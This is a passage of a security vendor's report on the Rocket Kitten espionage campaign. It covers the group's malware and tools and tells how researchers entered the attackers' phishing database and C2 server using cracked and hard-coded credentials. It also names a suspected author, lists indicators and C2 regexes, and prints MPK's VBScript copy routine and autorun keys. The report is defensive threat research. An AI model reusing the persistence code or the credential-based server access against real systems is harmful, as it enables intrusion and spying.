Additionally, we have witnessed many attacks using various web hacking tools and suites, in attempt to break into victim web sites.
Previously reported custom-malware included: CWoolgera C based woolen key-logger.
The malware records all keystrokes and sends out key-log data to a hard-coded FTP server.
Wrapper/Gholeerepurposed Core Impact penetration testing tool.
The malware allows a platform for remote access, pivoting for lateral movement and further malware installation.
FireMalva .NET based Firefox credential stealer.
This tool copies passwords stored in the Firefox browser storage.
Check Point investigations additionally discovered the attackers using the following: .NETWoolgera .NET based woolen key-logger.
This malware is functionally similar to CWoolger.
The attackers seem to use them interchangeably, as alternate infection mechanisms (in case one is detected at the victim computer).
MPKa custom RAT of wider functionality.
The malware allows key-logging, as well as remote command execution, screenshot grabbing and traffic monitoring.
For a detailed technical description of the MPK malware see Appendix B.
In addition to custom-written malware, we have seen the attackers use various hacking and scanning tools to attack victim web-sites.
MetasploitAn open-source, extensible penetration testing platform.
Metasploits meterpreter payload was wrapped in an executable file and distributed as a RAT attached to phishing emails by the attackers.
Havij  SQLMapSQL injection tools Havij originates in Iranian development, while SQLMap is an open source project.
Acunetix  Netsparkeroff-the-shelf web vulnerability scanners, attempting to automatically discover and exploit vulnerabilities in common web platforms.
WSO Web Shella well-known web shell - PHP script that allows backdoor access on a hacked server.
Typically deployed after successful compromise to allow further actions.
NIM-Shella web shell of Iranian hacker group origin with similar functionality.
Additionally uses Perl scripts on the hacked server.
Web hacking attempts were detected to originate from various IP ranges, occasionally immediately adjacent to known Rocket Kitten CC servers.
We can estimate the attack operators either used these servers directly, or configured them as Proxy/VPN endpoints to channel their attacks.
Combining the research work done so far with observed attacks by Check Point, we can map out a diagram overviewing the attackers infrastructure.
2015 Check Point Software Technologies Ltd. All rights reserved      10 Wrapper/Gholee index.php?c[CAMPAIGN_ID]r[INT] MPK //[mpk]\[COMMAND_ID] //[smpk][COMMAND_ID] MALWARE TRAFFIC 107.6.181.116 107.6.172.54 Woolger FTP Operators/VPN 107.6.181.100 107.6.172.52 107.6.154.230 107.6.172.55 MPK CC 107.6.172.53 Mail 107.6.181.114 107.6.172.51 5.39.223.227 31.192.105.10 Phishing NETHERLANDS SingleHop [107.6.181.96-127] [107.6.172.50-62] [107.6.154.224-231] HostKey C/.NET Woolger MPK Wrapper/ Gholee NIM-Shell WSO VICTIMS 84.11.146.61 Operators/ VPN 5.145.151.6 Woolger FTP Wrapper/ Gholee CC 84.11.146.55 84.11.146.62 GERMAN SATELLITE BusinessCom [5.145.151.1-7] IABG [84.11.146.52-63] 109.169.61.8 Phishing 109.169.22.72 Operators/VPN 109.169.22.71 109.163.22.69 MPK CC UK RapidSwitch [109.169.22.69-72] [109.169.61.4-8] Operators/VPN 212.118.118.100 SAUDI ARABIA Cyberia 162.223.91.226 162.222.194.51 Operators/VPN 162.223.90.148 USA ColoUp Global Layer BV :21 :21 :21 :80/ 443 :8900/8899/ 8987/9090/ 1993 We have no reason to believe any of the mentioned providers are related to the malicious activity.
The campaign operators likely masqueraded as a legitimate customer or hacked into the servers without the knowledge of the service provider.
Specified ranges are likely to be assigned in whole for the attackers use.
Due to the dynamic nature of IP assignment, these may expire after the release of this report.
Because of the way satellite communications work, the infrastructure geo-located to Germany may not be physically located in that country.
It would be an educated speculation to assume the servers are physically located in Iran.
This assumption is supported by several indicators, including registrant details.
2015 Check Point Software Technologies Ltd. All rights reserved      11 GEFILTE PHISHBEST SERVED COLD After learning of an active attack incident from the Rocket Kitten group on a customer network, Check Point researchers decided to actively join the investigation.
While the recent paper from Trend Micro and ClearSky (The Spy Kittens Are Back: Rocket Kitten 2) does extensively cover the campaigns narrative, we aimed to seek confirmation that our analyzed attack was positively connected to the same campaign and set out to provide additional value and insight.
Upon learning of the attack, we attempted to communicate with the phishing web server and gather primary reconnaissance.
We learned the same IP address was used for multiple malicious domains.
Noting the server on this IP address was alive and well, we decided to probe and question that particular servers purpose.
What we found took us all by surprise.
We started our web probe by making scripted GET requests attempting to browse to well-known paths.
A minute later, we were excited to find a 200 OK response for a few requests, including /xampp and none other than /phpmyadmin().
Suspecting false positive results by our scripts, we typed in /xampp into our browser and watched with awe: We curiously entered the direct path into our web browser and loaded the phpmyadmin interface.
It wasnt until we actually submitted a query on the server, when we understood that phpmyadmin had been configured to allow password-less root access to any browsing visitor.
Such a gaping hole must be a decoy we immediately thought.
There is no way nation-state attackers would err in such amateur fashion, leaving their phishing server database exposed would they?
Image 8A default configuration of XAMPPon a live attacker server 2015 Check Point Software Technologies Ltd. All rights reserved      12 If only they had paid attention to the XAMPP Security page: Happily browsing through the free-for-all exposed database, we quickly noted numerous schemas most of them were completely empty (for testing purposes?
),
with one specific schema standing out: phakeddb.
Image 10phakeddb schema  note utf8_persian_ci collation for several tables phakeddb contained a set of very interesting tables and data sets the kind of data sets that fuel the fantasies of malware campaign researchers.
Browsing these tables, we found the phishing web application, likely to be a custom development by the Rocket Kitten attackers.
The web application would, upon operator instruction, generate the target-specific personalized phishing page for the targeted service (Gmail, YouTube, Hotmail, etc).
As we later learn, this platform was named Oyun Management System by the attackers.
Image 9 The MySQL admin user root has NO passwordUNSECURE 2015 Check Point Software Technologies Ltd. All rights reserved      13 Let us first look at the users table: Image 11the users table The attackers log in to the application, just like any other web platform, in order to set up their phishing campaigns.
This server seems to have been deployed August 2014, when all users were created.
And the hash type of passwd fields used?
You may not be surprised to learn they used unsalted MD5 hashes.
Thats actually not the most oblivious malpractice in this system, however the hash for the user named super admin (assigned with all possible permissions) is e10adc3949ba59abbe56e057f20f883e.
Hobbyist cryptographers may recognize this string as the MD5 hash for 123456.
Looking at user names, we can spot some potentially Persian names or aliases such as merah, kaveh, ahzab or amirhosein.
These were potentially the campaign operatorstasked with social engineering and tailoring a phishing page per target.
(
hint: 123456 was not the only trivially crackable password in this list) Moving on to the intriguing conversation table, this appears to be an experimental messaging feature between attackers.
Unfortunately, it was rarely used.
Image 12the conversation table 2015 Check Point Software Technologies Ltd. All rights reserved      14 Most messages include links to various phishing domain pages, perfectly correlating to reported attack pages, proving this database is indeed in direct correlation to the attacks.
Interestingly enough, we can see user id 55 (correlating with the attache username in the users table) making a request: please 20 subject for me.
tank you attache Later on, user id 60 (john) pleas: seyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedddddddddddddd ddddddddd please please please support me please I need make a new project please add 50 subject tank you so match fadaaaaaaaaaaaaaaaaaaaaat bos bos 0 As boos is Farsi for kiss, bos bos might be considered the Persian version of xoxo.
What does that mean?
What projects and subjects are this systems users referring to?
A glimpse into requiretypes lays out a much clearer description for this systems purpose: Image 13the requiretypes table 2015 Check Point Software Technologies Ltd. All rights reserved      15 We can see template codes for phishing pages, including the descriptive Victim Full Name, Victim User Name field values.
It seems that this application generates the custom phishing templates using these custom fields.
Even more telling, we have examples for each field, reintroducing us to our Wool3n.
H4T friend (author of key-logger malware by the same group), repeatedly mentioned in this column.
This introduces the reasonable possibility that Wool3n.
H4T himself wrote this phishing application as a supporting tool for the campaign.
There is an intriguing supervisorybsoft.com reference, too, but ybsoft.com is currently registered to a Chinese electronics shop, so no luck in that direction.
The real jackpot, however, is still ahead.
When we opened the projects table, we momentarily lost our breath.
A project is apparently a single victim (target e-mail address), assigned with a proj_id, a tasked operator, and the specific link that was generated to be sent to this victim.
We just hit 1842 records including all victims attacked starting August 2014 and all the way to August 2015 (when this database was accessed).
Image 14the projects table Not only do we have the e-mail addresses of all victims, we also have the template values for their respective phishing pages (in the projectmailrequirevalues table).
For example a Google Sign-In page normally displays the full name of the victim, as well as a public avatar defined by the user.
The attackers had to replicate this look and feel, and filled the database with full names, addresses and photos for every targeted victim.
We verified and retrieved names and images of previously reported victims as expected.
2015 Check Point Software Technologies Ltd. All rights reserved      16 Image 15  the projectmailrequirevalues table But what does projectlogs contain?
Is that what we think it is?
Image 16 log of every access to any phishing page on that server This table contained a log entry for every access to any phishing page, including the credentials provided by the victims, if successfully fooled.
We can now use this data to gather insightful analytics on spear phishing activity over one year spanning August 2014 to August 2015.
Please see the attack log analysis section in this report.
Continuing our server probe, we discovered a similarly exposed Webalizer interface, providing useful analytics including counters and frequently accessed links.
2015 Check Point Software Technologies Ltd. All rights reserved      17 Image 17Webalizer statistics for August 2015 The Webalizer interface neatly presented us with a lot of useful metadata, including Top 40 visitor IPsclearly identifying attacker access to the site, and providing us with many leads for the remainder of the investigation.
Interestingly enough, we also found some referrer headers, leading to a path on the same server: Image 18login screen 2015 Check Point Software Technologies Ltd. All rights reserved      18 In what can be described as a hacker secret access portalwe seem to have reached the web interface of the phishing platform.
Testing the admin credentials we previously crackedwe get: Image 19the Oyun Mangement System (OMS) [sic] We now learn the attackers name this system Oyun and actually used Larry Pages public profile picture as admins avatar.
The remainder of the interface simply allows access to the phakeddb database, including insertion, editing of projects (/targets) and even the internal chat platform as evident in conversations.
WOOLGEREDHOISTED BY THEIR OWN PETARD Using credentials hard-coded into the woolen key-logger, we were able to retrieve numerous woolger DAT files (key-logs), as uploaded from victims around the world.
As apparent, the same hard-coded FTP credentials were, in fact, Administrator credentials on the CC Windows server itself, which had the C and D NetBIOS/SMB administrative shares openly accessible from the WAN.
Image 20if you didnt want to allow researchers to have administrator access to your CC server captain_hindsight.png you shouldnt have hard-coded administrator credentials into your malware.
2015 Check Point Software Technologies Ltd. All rights reserved      19 Among many logged keystroke files containing stolen data, we stumbled on an astonishing discovery: the Rocket Kitten attackers had, in fact, infected their own workstations, apparently as test-runs for woolger.
The attackers failed to remove these files from the CC server, demonstrating, yet again, utter lack of OPSEC.
Of peculiar interest to us were logs made by none other than Wool3n.
H4t himself: Image 21The test worked.
Would you be surprised what followed in the same log file?
Image 22The attacker testing his own tool.
Yes, we actually just witnessed Wool3n.
H4T switching through his open windows, including a Microsoft Visual Studio live debugging session of a project called CWoolger In another log, we observe the specific programming of loading of the wsc.vbs script, as observed in the Trend Micro publication and others.
At this point, there should be no questionwe are looking at the malware authors development workstation.
Image 23Mutexes and thread-safety should be the least of your worries.
2015 Check Point Software Technologies Ltd. All rights reserved      20 The next log shows us the attacker wanted to test whether his tool would accurately capture credentials entered into a Firefox HTTP authentication prompt, and thus he entered his own CC server Image 24 All of Wool3n.
H4Ts retrieved logs were dated October 2014.
Then, we spotted this log segment: Image 25 AOL Mail already narrowed it 2015 Check Point Software Technologies Ltd. All rights reserved      21 Recorded under the Wool3n.
H4T name, a user logs into AOL mail with username yaserbalaghi.
Could it be the same Yaser as noted in the recent Trend Micro and ClearSky paper?
(
D:\Yaser Logers\CWoolger) Could it explain the Phakeddb reference to ybsoft?
We dont know at this point we have to go deeper.
yaserbalaghiaol.com appears to give a technical answer in a long C thread in an Iranian programmers forum (Barname Nevis) in Iranian Solar Hijri calendar year 1389 (2010-2011): The same yaserbalaghi user made several posts, also linking to various programming instructional videos in the subjects of ASP.NET and AJAX, jQuery and SQL injections as instructed by him using screen capture software.
Careful watching of the videos allowed us to learn a few interesting details.
For starters, Yaser Balaghi is a Microsoft Visual Studio 2010 user, with familiarity of several tools observed to be used during the Rocket Kitten campaign.
Image 26Screenshot taken from instructional video by Yaser Balaghi (Engineer Balaghi) 2015 Check Point Software Technologies Ltd. All rights reserved      22 Image 27EngineerBalaghi host name Further inspecting the user names and host names evident in the screen captures, we noticed we were actually in possession of logged keystrokes from an infected computer where the user name was Engineer Balaghi, strengthening our suspicions.
However, we cant be sure yet Yaser Balaghi may be a common name or perhaps this is someone related to Wool3n.
H4T or the attackers.
A few minutes later, and we spotted this gem of an OPSEC mistake in the SQLi instructional video, which precisely provided the smoking gun we were after: Image 28Watching an hour of Farsi SQL injection tutorial has its rewards 2015 Check Point Software Technologies Ltd. All rights reserved      23 Wool3n.
H4t is caught red-handed.
One of his many mistakes, he was now caught giving a public tutorial while logged in under his secret alias, otherwise unlinked with his real identity.
These videos were recorded February 2014, prior to the first clear Rocket Kitten attack wave mid-year.
A quick glance on W00l3n.
Hats desktop reveals a striking match with web hacking attack tools previously described in Rocket Kittens arsenal.
Image 29Havij, Acunetix, Netsparker, SQLMap, wamp, and ohis that IDA properly licensed?
A few online queries later, we are getting numerous results, cross-referenced to verify as the same Yaser Balaghi, now the main suspect to hold the Wool3n.
H4T identity.
Engineer Yaser Balaghi is not only an active member of various programming forumshe had a web site (www.eng-balaghi.com, gone offline since August 2014, still available in the Wayback Machine).
In the available archived version of the site he described himself as a programmer, analyst, consultant and lecturer, and made himself available for hire.
Image 30Yaser Balaghis stackoverflow account 2015 Check Point Software Technologies Ltd. All rights reserved      24 If all that wasnt enough, we also managed to retrieve an updated resume for Tehran-based Engineer Balaghi: Image 31  Yaser Balaghis Resume (2013) Islamic Azad University Computer Software Graduate Balaghi lists his job experience, including Technical Director and Team Leader of Software Development Team (Private) (highlighted in original), as well as Head of Security and Hacking (legal and ethical) (Private).
Later, he goes as far as listing sample accomplishments and completed projects, including the development and system design for a Phishing Attacks System ordered by a cyber-organization.
Image 32 (original and translation)we kid you not.
We could go on, but the main lesson of this section can be: if you dont want people to know you created malware for the government, dont list it in your CV.
2015 Check Point Software Technologies Ltd. All rights reserved      25 REELED INPHISHING LOGS ANALYSIS As reported so far, the attackers persistently e-mailed, called and responded with fake identities, tailored for each victim.
The attackers clearly read the public reports about them, respond and adapt their tactics, occasionally showing a creative mindset.
In one reported case, the attacked posed under the true identity of a ClearSky researcher, referencing the recent Rocket Kitten report, attaching detection software that does exactly the opposite.
This an interesting tactic, worthy of mentioning in social engineering classes.
It would be wise at this point to mention that the release of report does not include any accompanying detection or protection tools other than the existing Check Point software blades.
If you received this report with an attached executable, it is likely a malicious lure.
In another case, the attackers sent a malicious attachment using the identity of a previously known targeted victim.
The Israeli recipient of that attachment was wary enough to suspect the origin of the e-mail and responded with a query: Is that you or are the Iranians in your computer again?
To which the attackers responded (in perfect non-Google-Translate Hebrew): The Iranians will never return to my computer That very well may have been the talk of the day at the Tehran operations center, possibly featured in an email printout in the main dining room.
As the Rocket Kitten groups behavior was well characterized in previous publications (see the recent report from Trend Micro and ClearSky).
We will focus on new insights based on our analysis of the Oyun system victim database.
We understand that this database contains a partial view, starting August 2014 to August 2015.
While the data can be successfully correlated with logs collected from other servers, we have no visibility of e-mails with malicious attachments (as opposed to phishing links to steal credentials), or any complete web hacking log for attacker activity.
The sheer volume of the target database suggests an extensive operation, the work of a group of people over months.
The logs included the visiting IP address geo-located country.
Our analysis shows the following distribution: Chart 1Phishing visitors country distribution We have studied the visitor data to determine this includes many attacker accesses to test the site functionality.
We know the attackers used addresses from Iran, as well as VPN access from the US, Germany, Saudi Arabia and the Netherlands.
The data must be interpreted taking these facts into consideration.
Saudi Arabia 18 United States 17 Iran Islamic Republic of 16Netherlands 8 Israel 5 Georgia 4 Other 18 Turkey 3 United Kingdom 3 Afghanistan 2 Satellite Provider 2 Germany 2 Ireland 1United Arab Emirates 1 2015 Check Point Software Technologies Ltd. All rights reserved      26 Our primary filtering dismissed around 25 of logs and 15 of projects as test runs for the system.
The following is based on the remaining seemingly valid entries.
Charting the phishing logs over time, we can observe the following timeline: Chart 2Phishing logs and successes over time We can study this data to make a few interesting observations: On average, all phishing pages on this server had 26 success in fooling victims to enter their credentials.
These are surprisingly high results, potentially attributed to persistency and well-targeted e-mails.
On May 26, 2015, there is a unique peak of access to the site, with minimal successes.
When analyzed, these accesses appear mostly in 3 batches over periods of minutes, with incremental project_ids and no data provided, from Israeli IP addresses.
We can safely discard these as researcher probes, attempting to brute-force phishing pages, immediately preceding the ClearSky June publication.
The attackers seem to have shut down their platform on June and July (likely due to the publication) and resumed operations during August.
We found evidence to suggest the database had been migrated from a previous server.
Slicing the projects table by user_id allows a unique internal look on operator assignment while our target analysis is far from conclusive, we can share a reserved primary assessment of what each user was tasked with: User Projects Target Profile admin 83 projects strictly system testing anonymous 522 projects this is one of the prominent users in the system, tasked with all around mixed targetsfocused on Saudi Arabia, many human rights activists, CEOs and ministry officials.
merah 147 projects assigned with all Israeli targets, notably including known physics and nuclear scientists, former military officials, national security and foreign policy researchers.
This operator is probably a fluent Hebrew speaker.
kaveh 57 projects very little activitymostly testing and some Venezuelan targets.
ahzab  691 projects one of the two busiest operators, in 2014 he targeted a vast amount of Saudi scholars and persons of influence, and later listed education and media outlets in Saudi Arabia.
124  attache  233 projects these users both showed clear targeting of defense sector victims, as well as embassies of Irans neighboring countries and others.
Quite fitting with one of their usernames, they listed several military attachs in their victim list.
Notable targets include representatives from the United Arab Emirates, NATO and other regional posts in Afghanistan as well as Thailand and Turkey.
john  108 projects During late 2014 he was directly tasked with Venezuela trade and finance targets, later in 2015 he moved to former Iranians living abroadlisting professors, scientists, journalists and investors Despite our limited visibility, we can confirm many of these attacks were successfulthe attackers gained confidential information from various targets all around the world.
83 36 69 112 124 39 23 18 2 5 3 12 4 5 41 27 33 28 31 51 75 5 00 Aug 2014 Sept 2 014 Oct 2014 Nov 2 014 Dec 2 014 Jan 2015 Feb 2015 Mar 2 015 Apr 2 015 May 2 015 Jun 2015 Jul 2 015 Aug 2015 Visited Phishing Site Entered Credentials 1592 2015 Check Point Software Technologies Ltd. All rights reserved      27 EPILOGUE We believe the Rocket Kitten case is an interesting case study for the malware research industry, exemplifying a continuing trend in the nation-state attacker profile we have witnessed over the past two years cyber-espionage is no-longer reserved to organizations with monstrous budgets to hire thousands of cyber-warriors, operate password-cracking super-computer clusters or advanced research to infect your hard-drive firmware.
Adversaries will often find simpler ways for effective compromise, such as creative phishing and simple custom malware.
In this case, as in other previously reported cases, it can be assumed that an official body recruited local hackers and diverted them from defacing web sites to targeted espionage at the service of their country.
As is often the case with such inexperienced personnel, their limited training reflects in lack of operational security awareness, leaving a myriad of traces to the origin of the attack and their true identities (e.g.
Yaser Balaghi, Mehdi Mahdavi and others).
Despite publications, code names and articles in security outlets - the same known attacker group continues to attack with minimal interruption.
Highlighting a repeating industry problem, minimal changes to existing malware often evade most current protection solutions.
Effectively stopping attackers must involve action on top of analysis efforts.
We approached and will continue to approach hosting providers through the assistance of CERT coordination and other bodies in various countries.
We hope these efforts are fruitful, and can help disable or reduce the attacking infrastructure.
If you would like to share important information regarding this campaign, please use icanhazrocketcheckpoint.com 2015 Check Point Software Technologies Ltd. All rights reserved      28 APPENDIX AINDICATORS OF COMPROMISE Samples All hashes are MD5 or SHA1 Lure Documents / Droppers 01c9cebbc39e273ac1f5af8b629a7327 08273c8a873c5925ae1563543af3715c 1685ba9dbdb0e136d68e0b1a80a969b5 177ef7faab3688572403730171ffb9c4 1ceca1757cb652ba7e5b0d45f2038955 266cfe755a0a66776df9fd8cd2fee1f1 271a5f526a638a9ae712e6a5a64f3106 2cb23916ca60a63a67d974f4ddeb2a11 393bd2fd420eecf2d4ca9d61df75ff0c 395461588e273fab5734db56fa18051b 48573a150562c57742230583456b4c02 4bf2218eb068385ca1bfff8d609c0104 50d3f1708293f40a2c0c1f151c2c426f 54ee31eb1eed79d4ddffd1423d5f5e28 55ff220e38556ff902528ac984fc72dc 5a009a0d0c5ecaac1407fb32ee1c8172 5af0cbc18c6f8ed4fd1a3f68961f5452 60f5bc820cf38e78b51e1e20fed290b5 61a808ce0b645c4824d79865be8888ed 85b79953bf2b33fb6118dc04e4c30910 8ed01ac79680d84c0ee7a5f027d8b86a 9fc345c25e6ab94bca2db6ee95d2c861 ac94ee83c91ca784a88ff26cf85e273a aeb9d12ecbe73bfa91616ebacf24831b c9ea312c35e9ac0809f1c76044929f2f d0c3f4c9896d41a7c42737134ffb4c2e d14b3e0b82e3b5d6b9cc69b098f8126d e1a5b4ffc612270425d5d31f4c336aa9 f68a0a3784a7edfc60ad9333ec209cbf f8547010eb4238f8fb76f4e8a756e36d 0482fc2e332918456b9c97d8a9590781095b2b53 0f4bf1d89d080ed318597754e6d3930f8eec49b0 1a999a131144afe8cb7316ebb842da4f38101ac5 2627cdc3324375e6f41f93597a352573e45c0f1e 2c3edde41e9386bafef248b71974659543a3d774 46a995df8d9918ca0793404110904479b6adcb9f 4711f063a0c67fb11c05efdb40424377799efafd 476489f75fed479f19bac02c79ce1befc62a6633 64ba130e627dd85c85d6534e769d239080e068dd 6571f2b9a0aea89f45899b256458da78ac51e6bb 788d881f3bb2c82e685a98d8f405f375c0ac2162 9579e65e3ae6f03ff7d362be05f9beca07a8b1b3 a9245de692c16f90747388c09e9d02c3ee34577e ad6c9b003285e01fc6a02148917e95c780c7d751 ae18bb317909e16f765ba2e88c3d72d648db2798 b67572a18282e79974dc61fffb8ca3d0f4fca1b0 c485b0d59b28d37a1ac80380b0d7774bdb9d8248 c727b8c43943986a888a0428ae7161ff001bf603 2015 Check Point Software Technologies Ltd. All rights reserved      29 e2728cabb35c210599e248d0da9791991e38eb41 e6964d467bd99e20bfef556d4ad663934407fd7b ec692cf82aef16cf61574b5d15e5c5f8135df288 ed5615ffb5578f1adee66f571ec65a992c033a50 f51de6c25ff8e1d9783ed5ac13a53d1c0ea3ef33 f7f69c5ed94a03f6d57e9afd33c2627ff69205f2 Wrapper / Gholee 05523761ca296ec09afdf79477e5f18d 08e424ac42e6efa361eccefdf3c13b21 0b67ebed08f09c0584b92f4e94ced778 13039118daadbe87e337310403e64454 14f2e86f11114c083856c92095d79256 1b02ac8c0e1102faaee70f4026cad291 223feb91efbe265696f318fb7c89c3fd 3dd221b0ea6f863e086868b246a6a104 4215d029dd26c29ce3e0cab530979b19 48573a150562c57742230583456b4c02 4b0edcd1d2953c26b6fc4298e8bf9150 4cdc28ab6e426dc630638488743accfb 58bcfe673d21634616d898c3127bd1bc 60f5bc820cf38e78b51e1e20fed290b5 63558e2980d1c6aaf34beefb657866fe 8a45dfec98dd96c86d933d9c1d6ef296 8bd58db9c29c53197dd5d5f09704296e 916be1b609ed3dc80e5039a1d8102e82 a42cea20439789bd1d9a51d9063ae3e4 b7de8927998f3604762096125e114042 b884f67c247d3dd6c559372a8a31a898 b8fb83d76eb67cbeed0b54c02a68256b c222199c9a7eb0d162d5e96955739447 d5517542b5f8dc2010933ee17a846569 da976a502a3afc4ba63611d47c625738 ee41e7c97f417b07177ea420afe510a1 f3c3ed556072209b60c3342ddefba0f9 f89a4d4ae5cca6d69a5256c96111e707 02b04563ef430797051aa13e48971d3490c80636 07a77f8b9f0fcc93504dfba2d7d9d26246e5878f 0b0cdf47363fd27bccbfba6d47b842e44a365723 0b880fb3414374dbbf582217ee0288a76c904e9b 22f6a61aa2d490b6a3bc36e93240d05b1e9b956a 25d3688763e33eac1428622411d6dda1ec13dd43 37ad0e426f4c423385f1609561422a947a956398 476489f75fed479f19bac02c79ce1befc62a6633 47b1c9caabe3ae681934a33cd6f3a1b311fd7f9f 53340f9a49bc21a9e7267173566f4640376147d9 58045d7a565f174df8efc0de98d6882675fbb07f 62172eee1a4591bde2658175dd5b8652d5aead2a 6e30d3ef2cd0856ff28adce4cc012853840f6440 729f9ce76f20822f48dac827c37024fe4ab8ff70 7ad0eb113bc575363a058f4bf21dbab8c8f7073a 7fef48e1303e40110798dfec929ad88f1ad4fbd8 2015 Check Point Software Technologies Ltd. All rights reserved      30 8074ed48b99968f5d36a494cdeb9f80685beb0f5 86222ef166474e53f1eb6d7e6701713834e6fee7 c1edf6e3a271cf06030cc46cbd90074488c05564 c6db3e7e723f20ed3bcf4c53fc4748e9591f4c40 cabdfe7e9920aeaa5eaca7f5415d97f564cdec11 ce03790d1df81165d092e89a077c495b75a14013 e6964d467bd99e20bfef556d4ad663934407fd7b e8dbcde49c7f760165ebb0cb3452e4f1c24981f5 efd1c6a926095d36108177045db9ad21df926a6e fa5b587ceb5d17f26fe580aca6c02ff2e20ad3c4 fd8793ce4ca23988562794b098b9ed20754f8a90 fe3436294f302a93fbac389291dd20b41b038cba ffead364ae7a692afec91740d24649396e0fa981 FireMalv Credential Stealer 0b0e2c4789b895e8ac44b6ada284aec1 29d93b156bcfbcecf79c5ba389094796a1ba76ee Woolen-Keylogger 0a22232c1d5add9d7aabdf630b6ed5af 0e2dc1cb6bda45d68ee9c751e37df73b 1a2b18cb40d82dc279eb2ef923c3abd0 1f7688653c272d5205f9070c2541a68c 3c6c1722acfb70bfa4453b69e99c98bb 662d094799e9c7108f35c00eb894205f b4790618672197cab31681994bbc10a4 c72dce99e892bbf2537f5285a01985c0 f7e093d721d2616ecb9067934a615f70 f898eef9dfa04820bb2f798e063645a7 f9b235067b1c607b5b26896d465b6665 29968b0c4157f226761073333ff2e82b588ddf8e 5d334e0cb4ff58859e91f9e7f1c451ffdc7544c3 8e1bd64acd8bbe819ac60650eb1fa4f501d330ec a42f1ad2360833baedd2d5f59354c4fc3820c475 a65b39d3919f15649106a039469013479a31ba4b b9842058c88170cc45183aaaae4206c74e6c7351 c8096078f0f6c3fbb6d82c5b00211802168f9cba d5b2b30fe2d4759c199e3659d561a50f88a7fb2e db2b8f49b4e76c2f538a3a6b222c35547c802cef eeb67e663b2fa980c6b228fc2e04304c8992401d faf0fe422259d36494a0b2c9ccefe40dee978f31 2015 Check Point Software Technologies Ltd. All rights reserved      31 MPK 014bf8a588f614883d3d8b96024cd278 5c66b560f70c0b756bfc840b871864ce d1b526770abb441d771f4681872d2fcb eb6a21585899e702fc23b290d449af846123845f f2ed8cd0154ae4d6ecf52a0bcf5fa80c7095dcd2 f710bd9ea40fd94c06d704c00e16a5941544378f Network Traffic Wrapper/Gholee HTTP/HTTPS [80/443] index\.php\?c\wr\d Woolger FTP [21] to 107.6.181.116, 107.6.172.54, 5.145.151.6 MPK raw [8900,8899,8987,9090,1993] - \/\/\[mpk\]\\\d4 example: //[mpk]\2012 \/\/\[smpk\]\\\d4 example: //[smpk]1992 Domains account.login.gfimail.us accounts.google.uk.to account-user.com drive-google.co drives-google.co gfimail.us gmail-member.us.to google-setting.com google-verify.com login.miicrosoftonline.us.to login.office365.uk.to logins-verify.com login-users.com mail.mail2.mod.gov.af.mail.al mail-verify.com my.idc.ac.il.my.to outlook.profile.com.hmail.us outlook.tau.ac.il.mail.al owa.inss.mises.org.il owas.haifa.ac.il.info.gf owas.haifa.us.to profile.gmail.us.to profile.google.uk.to profiles.faceboek.in 2015 Check Point Software Technologies Ltd. All rights reserved      32 profiles.googel.com.inc.gs profiles.googlemembers.com.home.kg profiles-google.uk.to qooqle.co secure.www.cfr.us.to service-logins.com signin-users.com signin-verify.com signs-service.com verification.google-it.info video.qooqle.co webmail.tau.ac.il.us.to webmail.technion.ac.il.us.to yahoo-profiles.uk.to youtube.com.now.im IP addresses [107.6.181.96-127] [107.6.172.50-62] [107.6.154.224-231] 107.6.181.116 107.6.172.54 107.6.172.55 107.6.181.114 107.6.172.51 107.6.172.53 107.6.181.100 107.6.172.52 107.6.154.230 5.39.223.227 31.192.105.10 [5.145.151.1-7] 5.145.151.6 [84.11.146.52-63] 84.11.146.55 84.11.146.62 84.11.146.61 [109.169.22.69-72] [109.169.61.4-8] 109.169.61.8 109.169.22.69 109.169.22.71 109.169.22.72 162.223.90.148 162.223.91.226 162.222.194.51 212.118.118.100 2015 Check Point Software Technologies Ltd. All rights reserved      33 APPENDIX BMPK TECHNICAL DESCRIPTION The malware appears to be named MPK by the attackers.
This may be related to Masoud_PK as witnessed in the Iranian blogging web-site under the wool3n.h4t blog name.
Installation For persistence, the malware will add itself to autorun under an explorer entry: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run The malware includes a Visual Basic script (tmp.vbs) script, which will try to initially copy the malware executable to its destination: Sub CopyFile(SourceFile, DestinationFile) Set fso  CreateObject(Scripting.
FileSystemObject) Dim wasReadOnly wasReadOnly  False If fso.
FileExists(DestinationFile) Then If fso.
GetFile(DestinationFile).Attributes And 1 Then fso.
GetFile(DestinationFile).Attributes  fso.
GetFile(DestinationFile).Attributes - 1 wasReadOnly  True End If fso.
DeleteFile DestinationFile, True End If fso.
CopyFile SourceFile, DestinationFile, True If wasReadOnly Then fso.
GetFile(DestinationFile).Attributes  fso.
GetFile(DestinationFile).Attributes  1 End If Set fso  Nothing End Sub copyme  WScript.
Arguments.
Item(0) copyto  WScript.
Arguments.
Item(1) CopyFile copyme,copyto,0 Also, it will execute the following WScript, which will start the malware itself after exactly 9 seconds.
WScript.
Sleep 9000 CreateObject(WScript.
Shell).Run iexplorer.exe [1] Main operation This malware is basically a RAT (Remote Access Trojan).
It implements such functionality as a key-logger, sniffing TCP and UDP traffic, taking screenshots, as well as a remote command shell.
Also, it may gather a lot of information about the target system such as enumeration of files, drives, services, process information and the ability to send any file to the CC server.
2015 Check Point Software Technologies Ltd. All rights reserved      34 Less important, but still sensible information may be exfiltrated: Primary display resolution Has administrator rights or not Processor information Hostname information Windows version Service Pack version Amount of memory installed on the target system Network adapters and network configuration information TCP connections table The following mutex will be created: [2]opened Then, the malware will check if the following mutex exists: MyApp1.0 If it does, the malware will exit, so only one instance of the malware is allowed at a time.
If not, it will continue to the main operation.
Keylogger Keylogger stores keystrokes to the following file: TEMP\logd.txt Here is a sample of malware key-log output: (((((((Hello new File)))))))))  Window VMware Accelerated AMD PCNet Adapter (Microsofts Packet Scheduler) : Capturing - Wireshark  [UP][DOWN][DOWN][UP][UP][DOWN][UP][DOWN][DOWN][UP][UP][DOWN][DOWN][DOWN][UP][UP][UP][UP] [DOWN][DOWN][DOWN][DOWN]r  Window Run  cmd[ENTER]  Window C:\WINDOWS\system32\cmd.exe  notepad[ENTER]  Window VMware Accelerated AMD PCNet Adapter (Microsofts Packet Scheduler) : Capturing - Wireshark  [DOWN][UP]  Window Untitled - Notepad  test test test  2015 Check Point Software Technologies Ltd. All rights reserved      35 This file will be sent to remote CC server later on.
If the malware detects an open Gmail, Yahoo or Outlook window, it will add special processing so the attacker can easily recognize the data that is the most valuable to him.
